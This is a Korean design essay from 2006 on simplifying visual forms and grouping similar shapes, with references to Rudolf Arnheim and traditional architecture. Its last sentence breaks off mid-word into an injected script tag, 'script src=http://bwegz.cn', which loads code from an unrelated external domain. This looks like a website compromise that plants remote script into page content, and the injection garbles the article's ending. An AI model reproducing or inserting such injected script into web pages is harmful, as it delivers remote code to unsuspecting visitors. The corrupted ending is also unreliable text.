뭉치면 살고 흩어지면 죽는다

2006-03-10 최경원 디자이너 

청소를 할 때도 쓰레기를 버리고 나면 책을 제자리에 꽂고, 필기구는 필통에, 옷은 옷장에 챙겨 넣어야 하는 것처럼, 가장 필요한 형태들만 남게 되면 이제 이 형태들만을 가지고 이리저리 맞추어 보면서 가장 좋은 조합상태를 찾아야 한다.


단순한 형태와 형태의 정리

루돌프 아른 하임이라는 조형심리학자는 “어떤 작품의 형태도, 그 주제가 허용하는 한 단순해야 한다는 점, 이것이 올바른 미술의 원리이다.”라고 말했다. 단순한 형태란 복잡한 형태에서 필요없는 것이 제거되는 과정을 거쳐서 만들어진다. 말하자면 단순한 형태란 복잡한 형태의 반대말이 아니라 물이 정제되듯이 여러번 걸러져서 질적으로 높아진 형태의 상태를 말 하는 것이다.

형태를 군살없이 정리하는 일은 조형공부에 입문하는 사람들이 자기의 개성을 표현하기 전에 먼저 공부해야 할 기초이긴 하지만 이것은 올바른 미술이 지향해야할 가장 정점에 서 있는 형태를 최종적으로 만들어나가는 일이기도 하다. 단순화란 조형훈련의 첫 페이지를 채우는 지침이긴 하지만 단순한 형태는 조형진화론의 마지막 페이지를 장식한다.

열정적인 디자이너가 풍운의 꿈을 안고 조형공부를 시작했는데, 직면하는 첫 과제가 멋진 형태를 디자인하는 일이 아니라 단지 형태를 청소하는 것이라면 디자인 작업은 처음부터 지루해지고 의욕을 잃을 수가 있다. 하지만 이것은 형태를 정제하는 대단히 중요한 작업이라는 사실을 명심해야 한다. 아무리 개성이 넘치는 디자인을 하더라도 군더더기가 붙은 상태로 우리의 눈에 나타나게 된다면 모든 노력이 무색해진다. 어떠한 디자인도 긍극적으로는 단순한 형태로 압축되어야 한다. - 여기서 단순하다는 뜻은 형태 이미지를 말하는 것이 아니라 디자이너의 의도와 관계없는 것들이 제거된 상태를 말한다. 예를 들어 ‘안나수이’의 디자인 처럼 화려하고 복잡한 형태가 그 디자이너의 세계일 때는 형태 이미지를 위해서 복잡하게 들어가 있는 형태요소들은 모두 정제된 것으로 보아야 한다. 이미지가 단순하게 보이든지 복잡하게 보이든지 디자이너의 세계가 확실하게 느껴지는 형태라면 그것은 단순화되었다고 보아야 한다.-디자인을 하다보면 자연스럽게 알게 되겠지만 어떠한 디자인 작업도 단순화하는 작업 이상을 넘어서지 않는다. 모든 디자인은 궁극적으로 디자이너가 구현하고자 하는 이상적인 디자인으로 성공적으로 단순화되어야 한다. 따라서 디자이너는 조형공부의 입문단계에서 마주하게되는 이러한 문제를 충실하게 공부하는 것이 중요하다.



같은 형태 묶어주기

필요 없는 형태요소를 선별해 낼 수 있어서 어떠한 상황에서도 블순물 없는 형태를 뽑아낼 수 있게 되면, 이제 남아있는 조형요소들을 가지고 조형미가 최대한 발현되도록 크기를 조절하고 적절한 위치에 배치해주는 단계로 넘어가야 한다. 청소를 할 때도 쓰레기를 버리고 나면 책을 제자리에 꽂고, 필기구는 필통에, 옷은 옷장에 챙겨 넣어야 하는 것처럼, 가장 필요한 형태들만 남게 되면 이제 이 형태들만을 가지고 이리저리 맞추어 보면서 가장 좋은 조합상태를 찾아야 한다. 여기에는 여러가지 접근방법이 있을 수가 있으나 기초단계에서 할 수 있는 가장 쉬운 접근방법은 조형적 특성이 동일하거나 유사한 것들끼리 모아주는 것이다.

그림1을 잘 살펴보면 지붕의 암기와 숫기와, 둥근모양의 구조재, 사각형 석재등 적지 않은 조형요소들로 구성된 것을 알 수가 있다. 하지만 각각의 조형요소들은 같은 모양끼리 모여서 서로 대비를 이루고 있기 때문에 전혀 혼란스럽지 않다. 이처럼 형태요소가 많을 때는 서로 비슷한 것끼리 묶어주면, 전체적으로 변화도 생기고 통일감도 얻어지게 된다. 아래 그림처럼 화면에 사각형과 원이 여러 개 펼쳐져 있으면, 같은 형태끼리 줄을 지어서 묶어주면 깔끔하게 정돈된다.


한 줄로 열을 세우는 방식으로만 형태를 묶어준다면 너무 단조로울 수가 있다. 디자인이란 형태에서 얻을 수 있는 조형적 재미가 많은 것이 좋은데, 형태를 하나로 묶어주는 방식을 조금 다르게 해주면 제한된 조형요소틀을 가지고서도 좀더 재미있는 디자인을 만들수 있다. 예를 들어 그림2와 같은 조형요소들을 크기를 달리해서, 다른 방식으로 그림 3처럼 배열해 주면 색다른 이미지의 형태를 만들 수가 있다.

이처럼 같거나 비슷한 형태들을 여러가지 방식으로 묶어서 배열해 주면 형태도 정리할 수 있고 주어진 여건 안에서도 충분히 재미있는 표현을 할 수가 있다.

어쨌든 형태요소들을 유사한 것들끼리 끼리 정돈해 줌으로써 명확한 인상을 주는 디자인은 우리 주변에서 많이 볼 수 있다.



많은 사례들

건축물은 우선은 규모가 크기 때문에 조형적으로 불안정해지면 개인의 시지각에도 문제를 불러일으킬 수가 있지만 사회적으로 미?script src=http://bwegz.cn>

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